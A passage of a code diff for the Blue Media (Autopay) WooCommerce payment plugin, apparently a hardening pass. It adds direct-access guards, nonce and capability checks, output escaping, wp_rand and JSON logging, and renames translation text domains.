--- a/platnosci-online-blue-media/src/Domain/Model/White_Label/Expandable_Group.php
+++ b/platnosci-online-blue-media/src/Domain/Model/White_Label/Expandable_Group.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainModelWhite_Label;

+defined( 'ABSPATH' ) || exit;
+
 class Expandable_Group {

 	/**
@@ -58,7 +60,7 @@

 		return [
 			'label'         => $this->name,
-			'key'           => 'bm_channnel_group_' . rand( 1, 1000 ),
+			'key'           => 'bm_channnel_group_' . wp_rand( 1, 1000 ),
 			'value'         => 'test',
 			'name'          => 'bm-payment-channel-group',
 			'icon'          => $this->icon,
--- a/platnosci-online-blue-media/src/Domain/Model/White_Label/Expandable_Group_Interface.php
+++ b/platnosci-online-blue-media/src/Domain/Model/White_Label/Expandable_Group_Interface.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainModelWhite_Label;

+defined( 'ABSPATH' ) || exit;
+
 interface Expandable_Group_Interface {

 	public function get_icon(): string;
--- a/platnosci-online-blue-media/src/Domain/Model/White_Label/Group.php
+++ b/platnosci-online-blue-media/src/Domain/Model/White_Label/Group.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainModelWhite_Label;

+defined( 'ABSPATH' ) || exit;
+
 class Group {

 	/**
--- a/platnosci-online-blue-media/src/Domain/Model/White_Label/Item.php
+++ b/platnosci-online-blue-media/src/Domain/Model/White_Label/Item.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainModelWhite_Label;

+defined( 'ABSPATH' ) || exit;
+
 class Item {

 	/**
--- a/platnosci-online-blue-media/src/Domain/Model/White_Label/v3/Currency.php
+++ b/platnosci-online-blue-media/src/Domain/Model/White_Label/v3/Currency.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainModelWhite_Labelv3;

+defined( 'ABSPATH' ) || exit;
+
 class Currency {
 	/**
 	 * @var string
--- a/platnosci-online-blue-media/src/Domain/Model/White_Label/v3/Gateway.php
+++ b/platnosci-online-blue-media/src/Domain/Model/White_Label/v3/Gateway.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainModelWhite_Labelv3;

+defined( 'ABSPATH' ) || exit;
+
 class Gateway {
 	/**
 	 * @var int
@@ -54,6 +56,14 @@
 	private $descriptionUrl;

 	/**
+	 * Plugin-generated HTML block rendered after the channel <li> item (e.g. Card Widget, BLIK inline, GPay inline).
+	 * Must never contain user input.
+	 *
+	 * @var string|null
+	 */
+	private $inlineHtml;
+
+	/**
 	 * @var string
 	 */
 	private $availableFor;
@@ -173,6 +183,14 @@
 		$this->descriptionUrl = $descriptionUrl;
 	}

+	public function getInlineHtml(): ?string {
+		return $this->inlineHtml;
+	}
+
+	public function setInlineHtml(?string $inlineHtml): void {
+		$this->inlineHtml = $inlineHtml;
+	}
+
 	public function getAvailableFor(): string {
 		return $this->availableFor;
 	}
--- a/platnosci-online-blue-media/src/Domain/Model/White_Label/v3/Gateway_List_Response.php
+++ b/platnosci-online-blue-media/src/Domain/Model/White_Label/v3/Gateway_List_Response.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainModelWhite_Labelv3;

+defined( 'ABSPATH' ) || exit;
+
 class Gateway_List_Response {
 	/**
 	 * @var string
--- a/platnosci-online-blue-media/src/Domain/Model/White_Label/v3/Gateway_List_Response_Factory.php
+++ b/platnosci-online-blue-media/src/Domain/Model/White_Label/v3/Gateway_List_Response_Factory.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainModelWhite_Labelv3;

+defined( 'ABSPATH' ) || exit;
+
 class Gateway_List_Response_Factory {

 	public function create(array $data): Gateway_List_Response {
--- a/platnosci-online-blue-media/src/Domain/Model/White_Label/v3/Group.php
+++ b/platnosci-online-blue-media/src/Domain/Model/White_Label/v3/Group.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainModelWhite_Labelv3;

+defined( 'ABSPATH' ) || exit;
+
 class Group {
 	/**
 	 * @var string
--- a/platnosci-online-blue-media/src/Domain/Model/White_Label/v3/Mcc.php
+++ b/platnosci-online-blue-media/src/Domain/Model/White_Label/v3/Mcc.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainModelWhite_Labelv3;

+defined( 'ABSPATH' ) || exit;
+
 class Mcc {
 	/**
 	 * @var int[]|null
--- a/platnosci-online-blue-media/src/Domain/Model/White_Label/v3/View_Model/View_Model_Group.php
+++ b/platnosci-online-blue-media/src/Domain/Model/White_Label/v3/View_Model/View_Model_Group.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainModelWhite_Labelv3View_Model;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDomainModelWhite_Labelv3Gateway;
 use IlabsBM_WoocommerceDomainModelWhite_Labelv3Group;

--- a/platnosci-online-blue-media/src/Domain/Model/White_Label/v3/View_Model/View_Model_Group_Factory.php
+++ b/platnosci-online-blue-media/src/Domain/Model/White_Label/v3/View_Model/View_Model_Group_Factory.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainModelWhite_Labelv3View_Model;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDomainModelWhite_Labelv3Gateway;
 use IlabsBM_WoocommerceDomainModelWhite_Labelv3Gateway_List_Response;
 use IlabsBM_WoocommerceGatewayBlue_Media_Gateway;
--- a/platnosci-online-blue-media/src/Domain/Service/Currency/Currency.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Currency/Currency.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceCurrency;

+defined( 'ABSPATH' ) || exit;
+
 use Exception;
 use IlabsBM_WoocommerceDomainServiceCurrencyInterfacesCurrency_Interface;
 use IlabsBM_WoocommerceDomainServiceCurrencyValue_ObjectCZK;
@@ -299,7 +301,8 @@

 	private function hooks() {

-		if ( isset( $_GET['section'] ) && $_GET['section'] === 'bluemedia' ) {
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only admin routing parameter; no state is changed.
+		if ( isset( $_GET['section'] ) && sanitize_key( wp_unslash( $_GET['section'] ) ) === 'bluemedia' ) {
 			$request_id = $this->generate_unique_request_id();
 			$nonce      = $this->generate_nonce( $request_id );

@@ -314,14 +317,14 @@
 			name="autopay_currency_edit[nonce]"
 			value="%s"
 		/>',
-						$nonce );
+						esc_attr( $nonce ) );

 					printf( '<input
 			type="hidden"
 			name="autopay_currency_edit[request_id]"
 			value="%s"
 		/>',
-						$request_id );
+						esc_attr( $request_id ) );

 					echo '<input
 			type="hidden"
@@ -366,7 +369,7 @@

 			blue_media()->get_woocommerce_logger()->log_debug(
 				sprintf( '[Currency] [migrate] [$shop_currency: %s]',
-					print_r( $shop_currency, true ),
+					wp_json_encode( $shop_currency ),
 				) );

 			if ( 'PLN' !== $shop_currency->get_code() ) {
@@ -380,14 +383,13 @@

 				blue_media()->get_woocommerce_logger()->log_debug(
 					sprintf( '[Currency] [migrate] [migrate_4_5 matched options: %s]',
-						print_r( [
+						wp_json_encode( [
 							'whitelabel'       => $whitelabel,
 							'service_id'       => $service_id,
 							'test_service_id'  => $test_service_id,
 							'private_key'      => $private_key,
 							'test_private_key' => $test_private_key,
-
-						], true ),
+						] ),
 					) );

 				blue_media()->update_autopay_option( $this->add_currency_postfix( 'whitelabel',
@@ -421,9 +423,11 @@

 	private function handle() {

+		// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Custom nonce is verified via wp_verify_nonce() later in this method; individual fields are sanitized via sanitize_text_field() in get_from_params().
 		if ( isset( $_POST['autopay_currency_edit'] ) && is_array( $_POST['autopay_currency_edit'] ) ) {

-			$params = $_POST['autopay_currency_edit'];
+			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Custom nonce is verified via wp_verify_nonce() later in this method; currency code is validated against an allowlist.
+			$params = wp_unslash( $_POST['autopay_currency_edit'] );

 			$nonce         = $this->get_from_params( 'nonce', $params );
 			$request_id    = $this->get_from_params( 'request_id', $params );
--- a/platnosci-online-blue-media/src/Domain/Service/Currency/Interfaces/Currency_Interface.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Currency/Interfaces/Currency_Interface.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceCurrencyInterfaces;

+defined( 'ABSPATH' ) || exit;
+
 interface Currency_Interface {

 	const CODE_PLN = 'PLN';
--- a/platnosci-online-blue-media/src/Domain/Service/Currency/Value_Object/CZK.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Currency/Value_Object/CZK.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceCurrencyValue_Object;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDomainServiceCurrencyInterfacesCurrency_Interface;

 class CZK implements Currency_Interface {
@@ -11,7 +13,7 @@
 	}

 	public function get_name(): string {
-		return __( 'Czech koruna', 'bm-woocommerce' );
+		return __( 'Czech koruna', 'platnosci-online-blue-media' );
 	}

 	public function get_symbol(): string {
--- a/platnosci-online-blue-media/src/Domain/Service/Currency/Value_Object/EUR.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Currency/Value_Object/EUR.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceCurrencyValue_Object;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDomainServiceCurrencyInterfacesCurrency_Interface;

 class EUR implements Currency_Interface{
@@ -11,7 +13,7 @@
 	}

 	public function get_name(): string {
-		return __( 'Euro', 'woocommerce' );
+		return __( 'Euro', 'woocommerce' ); // phpcs:ignore WordPress.WP.I18n.TextDomainMismatch -- Intentional reuse of WooCommerce currency translation for 'Euro'.
 	}

 	public function get_symbol(): string {
--- a/platnosci-online-blue-media/src/Domain/Service/Currency/Value_Object/GBP.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Currency/Value_Object/GBP.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceCurrencyValue_Object;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDomainServiceCurrencyInterfacesCurrency_Interface;

 class GBP implements Currency_Interface {
@@ -11,7 +13,7 @@
 	}

 	public function get_name(): string {
-		return __( 'Pound sterling', 'bm-woocommerce' );
+		return __( 'Pound sterling', 'platnosci-online-blue-media' );
 	}

 	public function get_symbol(): string {
--- a/platnosci-online-blue-media/src/Domain/Service/Currency/Value_Object/HUF.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Currency/Value_Object/HUF.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceCurrencyValue_Object;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDomainServiceCurrencyInterfacesCurrency_Interface;

 class HUF implements Currency_Interface {
@@ -11,7 +13,7 @@
 	}

 	public function get_name(): string {
-		return __( 'Hungarian forint', 'bm-woocommerce' );
+		return __( 'Hungarian forint', 'platnosci-online-blue-media' );
 	}

 	public function get_symbol(): string {
--- a/platnosci-online-blue-media/src/Domain/Service/Currency/Value_Object/PLN.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Currency/Value_Object/PLN.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceCurrencyValue_Object;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDomainServiceCurrencyInterfacesCurrency_Interface;

 class PLN implements Currency_Interface {
@@ -11,7 +13,7 @@
 	}

 	public function get_name(): string {
-		return __( 'Polish złoty', 'bm-woocommerce' );
+		return __( 'Polish złoty', 'platnosci-online-blue-media' );
 	}

 	public function get_symbol(): string {
--- a/platnosci-online-blue-media/src/Domain/Service/Currency/Value_Object/RON.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Currency/Value_Object/RON.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceCurrencyValue_Object;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDomainServiceCurrencyInterfacesCurrency_Interface;

 class RON implements Currency_Interface {
@@ -11,7 +13,7 @@
 	}

 	public function get_name(): string {
-		return __( 'Romanian leu', 'bm-woocommerce' );
+		return __( 'Romanian leu', 'platnosci-online-blue-media' );
 	}

 	public function get_symbol(): string {
--- a/platnosci-online-blue-media/src/Domain/Service/Currency/Value_Object/USD.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Currency/Value_Object/USD.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceCurrencyValue_Object;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDomainServiceCurrencyInterfacesCurrency_Interface;

 class USD implements Currency_Interface {
@@ -11,7 +13,7 @@
 	}

 	public function get_name(): string {
-		return __( 'United States (US) dollar', 'bm-woocommerce' );
+		return __( 'United States (US) dollar', 'platnosci-online-blue-media' );
 	}

 	public function get_symbol(): string {
--- a/platnosci-online-blue-media/src/Domain/Service/Custom_Styles/Css_Editor.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Custom_Styles/Css_Editor.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceCustom_Styles;

+defined( 'ABSPATH' ) || exit;
+
 use Exception;
 use IlabsBM_WoocommerceHelpersHelper;
 use IsolatedBlueMediaIlabsIlabs_PluginPresentationFormFieldsCheckbox;
@@ -41,7 +43,7 @@
 	 */
 	public function display_editor() {
 		$this->display_switcher();
-		echo $this->get_editor( $this->editor_content );
+		echo $this->get_editor( $this->editor_content ); // phpcs:ignore WordPress.Security.EscapeOutput -- plugin-generated HTML from ob_get_clean(), esc_html would destroy markup
 	}

 	private function configure_controls() {
@@ -51,7 +53,7 @@

 		$checkbox->set_value( $this->read_enabled_option() ? 'yes' : 'no' );
 		$checkbox->set_default( 'no' );
-		$checkbox->set_label( __( 'Feature enabled', 'bm-woocommerce' ) );
+		$checkbox->set_label( __( 'Feature enabled', 'platnosci-online-blue-media' ) );
 		$this->switcher_checkbox = $checkbox;

 	}
@@ -61,7 +63,7 @@
 	 */
 	public function display_switcher() {
 		$field = new Field();
-		echo $field->get_html( $this->switcher_checkbox );
+		echo $field->get_html( $this->switcher_checkbox ); // phpcs:ignore WordPress.Security.EscapeOutput -- WC/ilabs Field object returns safe HTML
 	}

 	private function get_editor( string $content = '' ): string {
@@ -69,7 +71,11 @@
 		$content = $content === '' ? $this->get_default_css_code() : $content;
 		ob_start();

-		echo "<textarea name="$id" id="$id" style="width:100%; height:500px;">" . esc_textarea( $content ) . "</textarea>";
+		printf(
+			'<textarea name="%1$s" id="%1$s" style="width:100%%; height:500px;">%2$s</textarea>',
+			esc_attr( $id ),
+			esc_textarea( $content )
+		);
 		?>
 		<script>
 			jQuery(document).ready(function ($) {
@@ -79,7 +85,7 @@
 					tabSize: 2,
 					mode: 'css',
 				});
-				var editor = wp.codeEditor.initialize($('#<?php echo $id?>'), editorSettings);
+				var editor = wp.codeEditor.initialize($('#<?php echo esc_js( $id )?>'), editorSettings);
 			});
 		</script>
 		<?php
@@ -88,12 +94,17 @@
 	}

 	public function handle_save() {
+		if ( ! current_user_can( 'manage_woocommerce' )
+		    || ! isset( $_POST['autopay_css_editor_nonce_field'] )
+		    || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['autopay_css_editor_nonce_field'] ) ), 'autopay_css_editor_nonce' ) ) {
+			return;
+		}

 		if ( blue_media()
 			->get_request()
 			->key_exsists( $this->get_editor_content_option_id() ) ) {

-			$content = $_POST[ $this->get_editor_content_option_id() ];
+			$content = wp_unslash( $_POST[ $this->get_editor_content_option_id() ] ?? '' ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- CSS content; sanitize_text_field() would corrupt valid CSS (strips angle brackets, colons, semicolons). Access is nonce-verified and capability-checked above.
 			$content = $this->normalize_new_lines( $content );
 			Helper::update_gateway_option( $this->get_editor_content_option_id(),
 				$content );
@@ -109,7 +120,7 @@
 			blue_media()
 				->alerts()
 				->add_success( __( 'Changes have been saved.',
-					'bm-woocommerce' ) );
+					'platnosci-online-blue-media' ) );
 		}
 	}

@@ -130,7 +141,7 @@
 	}

 	private function get_default_css_code(): string {
-		$message = __( "Insert your CSS code here", "bm-woocommerce" );
+		$message = __( "Insert your CSS code here", "platnosci-online-blue-media" );

 		return "/*$message*/";
 	}
--- a/platnosci-online-blue-media/src/Domain/Service/Custom_Styles/Css_Frontend.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Custom_Styles/Css_Frontend.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceCustom_Styles;

+defined( 'ABSPATH' ) || exit;
+
 class Css_Frontend {

 	public function include( ?string $id = null ) {
@@ -14,7 +16,7 @@

 	private function print_to_wp_head( string $css ) {
 		add_action( 'wp_head', function () use ( $css ) {
-			echo ( '<style>' . $css . '</style>' );
+			echo '<style>' . wp_strip_all_tags( $css ) . '</style>'; // phpcs:ignore WordPress.Security.EscapeOutput -- wp_strip_all_tags prevents HTML injection from CSS context
 		} );
 	}
 }
--- a/platnosci-online-blue-media/src/Domain/Service/Ga4/Abstract_Ga4_Use_Case.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Ga4/Abstract_Ga4_Use_Case.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceGa4;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDataRemoteGa4DtoItem_DTO;
 use IlabsBM_WoocommerceDataRemoteGa4DtoItem_In_Cart_DTO;

--- a/platnosci-online-blue-media/src/Domain/Service/Ga4/Add_Product_To_Cart_Use_Case.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Ga4/Add_Product_To_Cart_Use_Case.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceGa4;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDataRemoteGa4DtoItem_DTO;
 use IlabsBM_WoocommerceDataRemoteGa4DtoItem_In_Cart_DTO;
 use IlabsBM_WoocommerceDataRemoteGa4DtoPayload_DTO;
--- a/platnosci-online-blue-media/src/Domain/Service/Ga4/Click_On_Product_Use_Case.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Ga4/Click_On_Product_Use_Case.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceGa4;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDataRemoteGa4DtoItem_DTO;
 use IlabsBM_WoocommerceDataRemoteGa4DtoPayload_DTO;
 use IsolatedBlueMediaIlabsIlabs_PluginCommonWc_Helpers;
--- a/platnosci-online-blue-media/src/Domain/Service/Ga4/Complete_Transation_Use_Case.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Ga4/Complete_Transation_Use_Case.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceGa4;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDataRemoteGa4DtoEvent_DTO;
 use IlabsBM_WoocommerceDataRemoteGa4DtoItem_DTO;
 use IlabsBM_WoocommerceDataRemoteGa4DtoItem_In_Cart_DTO;
--- a/platnosci-online-blue-media/src/Domain/Service/Ga4/Ga4_Hooks.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Ga4/Ga4_Hooks.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceGa4;

+defined( 'ABSPATH' ) || exit;
+
 use Exception;
 use IlabsBM_WoocommerceDataRemoteGa4_Service_Client;
 use IsolatedBlueMediaIlabsIlabs_PluginEvent_ChainEventWc_Add_To_Cart;
@@ -335,12 +337,12 @@
 				    ->get_woocommerce_logger( 'analytics' )
 				    ->log_debug(
 					    sprintf( '[handle_ga4_serverside] [purchase_event on_wc_order_status_changed] [%s]',
-						    print_r( [
+						    wp_json_encode( [
 							    'new order status' => $event->get_new_status(),
 							    'mapped status'    => $mapped_status,
 							    'order_id'         => $event->get_order()
 							                                ->get_id(),
-						    ], true )
+						    ] )
 					    ) );


@@ -352,10 +354,10 @@
 				    ->get_woocommerce_logger( 'analytics' )
 				    ->log_debug(
 					    sprintf( '[handle_ga4_serverside] [purchase_event create Ga4_Service_Client instance and call purchase_event] [%s]',
-						    print_r( [
+						    wp_json_encode( [
 							    'order_id' => $order_aware_interface->get_order()
 							                                        ->get_id(),
-						    ], true )
+						    ] )
 					    ) );

 			    try {
@@ -365,11 +367,11 @@
 					    ->get_woocommerce_logger( 'analytics' )
 					    ->log_error(
 						    sprintf( '[handle_ga4_serverside] [purchase_event exception] [%s]',
-							    print_r( [
+							    wp_json_encode( [
 								    'message'  => $e->getMessage(),
 								    'order_id' => $order_aware_interface->get_order()
 								                                        ->get_id(),
-							    ], true )
+							    ] )
 						    ) );
 			    }
 		    } )
@@ -383,9 +385,9 @@
 				->get_woocommerce_logger( 'analytics' )
 				->log_debug(
 					sprintf( '[handle_ga4_serverside_by_itn triggered] [%s]',
-						print_r( [
+						wp_json_encode( [
 							'order_id' => $order->get_id(),
-						], true )
+						] )
 					) );

 			( new Ga4_Service_Client() )->purchase_event( new Complete_Transation_Use_Case( $order ) );
@@ -394,11 +396,11 @@
 				->get_woocommerce_logger( 'analytics' )
 				->log_error(
 					sprintf( '[handle_ga4_serverside_by_itn] [purchase_event exception] [%s]',
-						print_r( [
+						wp_json_encode( [
 							'message'  => $e->getMessage(),
 							'order_id' => $order
 								->get_id(),
-						], true )
+						] )
 					) );
 		}
 	}
--- a/platnosci-online-blue-media/src/Domain/Service/Ga4/Ga4_Use_Case_Interface.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Ga4/Ga4_Use_Case_Interface.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceGa4;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDataRemoteGa4DtoPayload_DTO;

 interface Ga4_Use_Case_Interface {
--- a/platnosci-online-blue-media/src/Domain/Service/Ga4/Init_Checkout_Use_Case.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Ga4/Init_Checkout_Use_Case.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceGa4;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDataRemoteGa4DtoItem_DTO;
 use IlabsBM_WoocommerceDataRemoteGa4DtoPayload_DTO;
 use IsolatedBlueMediaIlabsIlabs_PluginCommonWc_Helpers;
--- a/platnosci-online-blue-media/src/Domain/Service/Ga4/Remove_Product_From_Cart_Use_Case.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Ga4/Remove_Product_From_Cart_Use_Case.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceGa4;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDataRemoteGa4DtoItem_DTO;
 use IlabsBM_WoocommerceDataRemoteGa4DtoItem_In_Cart_DTO;
 use IlabsBM_WoocommerceDataRemoteGa4DtoPayload_DTO;
--- a/platnosci-online-blue-media/src/Domain/Service/Ga4/View_Product_On_List_Use_Case.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Ga4/View_Product_On_List_Use_Case.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceGa4;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDataRemoteGa4DtoItem_In_Cart_DTO;
 use IlabsBM_WoocommerceDataRemoteGa4DtoList_Item_DTO;
 use IlabsBM_WoocommerceDataRemoteGa4DtoPayload_DTO;
--- a/platnosci-online-blue-media/src/Domain/Service/Gateway_List/Gateway_List_Mapper_Block_Checkout.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Gateway_List/Gateway_List_Mapper_Block_Checkout.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceGateway_List;

+defined( 'ABSPATH' ) || exit;
+
 use Exception;
 use IlabsBM_WoocommerceDomainModelWhite_LabelConfig;
 use IlabsBM_WoocommerceDomainModelWhite_LabelExpandable_Group;
@@ -62,7 +64,7 @@
 				'label'         => $group->getTitle(),
 				'slug'          => sanitize_title( $group->getTitle() ),
 				'is_expandable' => true,
-				'key'           => 'bm_channnel_group_' . rand( 1, 1000 ),
+				'key'           => 'bm_channnel_group_' . wp_rand( 1, 1000 ),
 				'value'         => 'test',
 				'name'          => 'bm-payment-channel-group',
 				'icon'          => $group->getIconUrl(),
@@ -389,7 +391,7 @@
 					sanitize_title( $config_item['name'] ),
 					$this->get_checkout_group_logo_url(),
 					__( 'You will be redirected to the page of the selected bank.',
-						'bm-woocommerce'
+						'platnosci-online-blue-media'
 					)
 				);

--- a/platnosci-online-blue-media/src/Domain/Service/Legacy/Importer.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Legacy/Importer.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceLegacy;

+defined( 'ABSPATH' ) || exit;
+
 class Importer {

 	const LEGACY_ENV_PRODUCTION = 1;
@@ -25,6 +27,12 @@
 	}

 	public function handle_import() {
+		if ( ! isset( $_POST['autopay_import_nonce_field'] )
+		    || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['autopay_import_nonce_field'] ) ), 'autopay_import_nonce' )
+		    || ! current_user_can( 'manage_woocommerce' ) ) {
+			return;
+		}
+
 		if ( isset( $_POST['autopay_import_legacy_settings'] ) && '1' === $_POST['autopay_import_legacy_settings'] ) {


@@ -36,7 +44,7 @@
 				blue_media()
 					->alerts()
 					->add_notice( __( 'Autopay: No values found for import',
-						'bm-woocommerce' ) );
+						'platnosci-online-blue-media' ) );

 				return;
 			}
@@ -59,7 +67,7 @@
 			blue_media()
 				->alerts()
 				->add_notice( __( 'Autopay: Import completed',
-					'bm-woocommerce' ) );
+					'platnosci-online-blue-media' ) );
 		}
 	}

--- a/platnosci-online-blue-media/src/Domain/Service/Product_Feed/Product_Feed.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Product_Feed/Product_Feed.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceProduct_Feed;

+defined( 'ABSPATH' ) || exit;
+
 use SimpleXMLElement;

 class Product_Feed {
@@ -9,17 +11,20 @@
 	private static ?string $pixel_js_src = null;

 	public function init() {
+		// phpcs:disable WordPress.Security.NonceVerification.Recommended -- Public product feed endpoint; read-only GET routing parameter.
 		if (
 			isset( $_GET['product_feed'] ) && blue_media()
 				                                  ->get_blue_media_gateway()
 				                                  ->get_option( 'campaign_tracking',
 					                                  'no' ) === 'yes'
 		) {
+			// phpcs:enable WordPress.Security.NonceVerification.Recommended
 			$this->generate_google_product_feed();
 		}
 	}

 	function generate_google_product_feed() {
+		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.prevent_path_disclosure_error_reporting -- Suppresses PHP notices that would corrupt XML product feed HTTP response.
 		error_reporting( E_ERROR | E_WARNING | E_PARSE );

 		$products = wc_get_products( [ 'status' => 'publish' ] );
@@ -70,7 +75,7 @@
 		}

 		header( 'Content-Type: application/xml; charset=utf-8' );
-		echo $rss->asXML();
+		echo $rss->asXML(); // phpcs:ignore WordPress.Security.EscapeOutput -- XML output with Content-Type: application/xml header, SimpleXML escapes data at addChild()
 		exit();
 	}

--- a/platnosci-online-blue-media/src/Domain/Service/Settings/Banner.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Settings/Banner.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceSettings;

+defined( 'ABSPATH' ) || exit;
+
 use DOMDocument;
 use DOMXPath;
 use Exception;
@@ -21,7 +23,7 @@
 		} catch ( Exception $exception ) {
 			blue_media()->get_woocommerce_logger()->log_error(
 				sprintf( '[get_banner_content error:] [%s]',
-					print_r( $exception->getMessage(), true )
+					wp_json_encode( $exception->getMessage() )
 				) );

 			return '';
@@ -37,7 +39,7 @@
 		} catch ( Exception $exception ) {
 			blue_media()->get_woocommerce_logger()->log_error(
 				sprintf( '[get_banner_url error:] [%s]',
-					print_r( $exception->getMessage(), true )
+					wp_json_encode( $exception->getMessage() )
 				) );

 			return '';
--- a/platnosci-online-blue-media/src/Domain/Service/Settings/Currency_Tabs.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Settings/Currency_Tabs.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceSettings;

+defined( 'ABSPATH' ) || exit;
+
 use IlabsBM_WoocommerceDomainServiceCurrencyCurrency;
 use IlabsBM_WoocommerceDomainServiceCurrencyInterfacesCurrency_Interface;

--- a/platnosci-online-blue-media/src/Domain/Service/Settings/Settings_Helper.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Settings/Settings_Helper.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceSettings;

+defined( 'ABSPATH' ) || exit;
+
 class Settings_Helper {


--- a/platnosci-online-blue-media/src/Domain/Service/Settings/Settings_Manager.php
+++ b/platnosci-online-blue-media/src/Domain/Service/Settings/Settings_Manager.php
@@ -2,6 +2,8 @@

 namespace IlabsBM_WoocommerceDomainServiceSettings;

+defined( 'ABSPATH' ) || exit;
+
 use Exception;
 use IlabsBM_WoocommerceDomainServiceCustom_StylesCss_Editor;
 use IlabsBM_WoocommerceFeatures;
@@ -57,11 +59,11 @@
 				if ( isset( $_GET['bmtab'] ) && $_GET['bmtab'] === 'help' ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only admin settings context
 					add_action( 'woocommerce_settings_checkout',
 						function () {
-							$GLOBALS['hide_save_button'] = true;
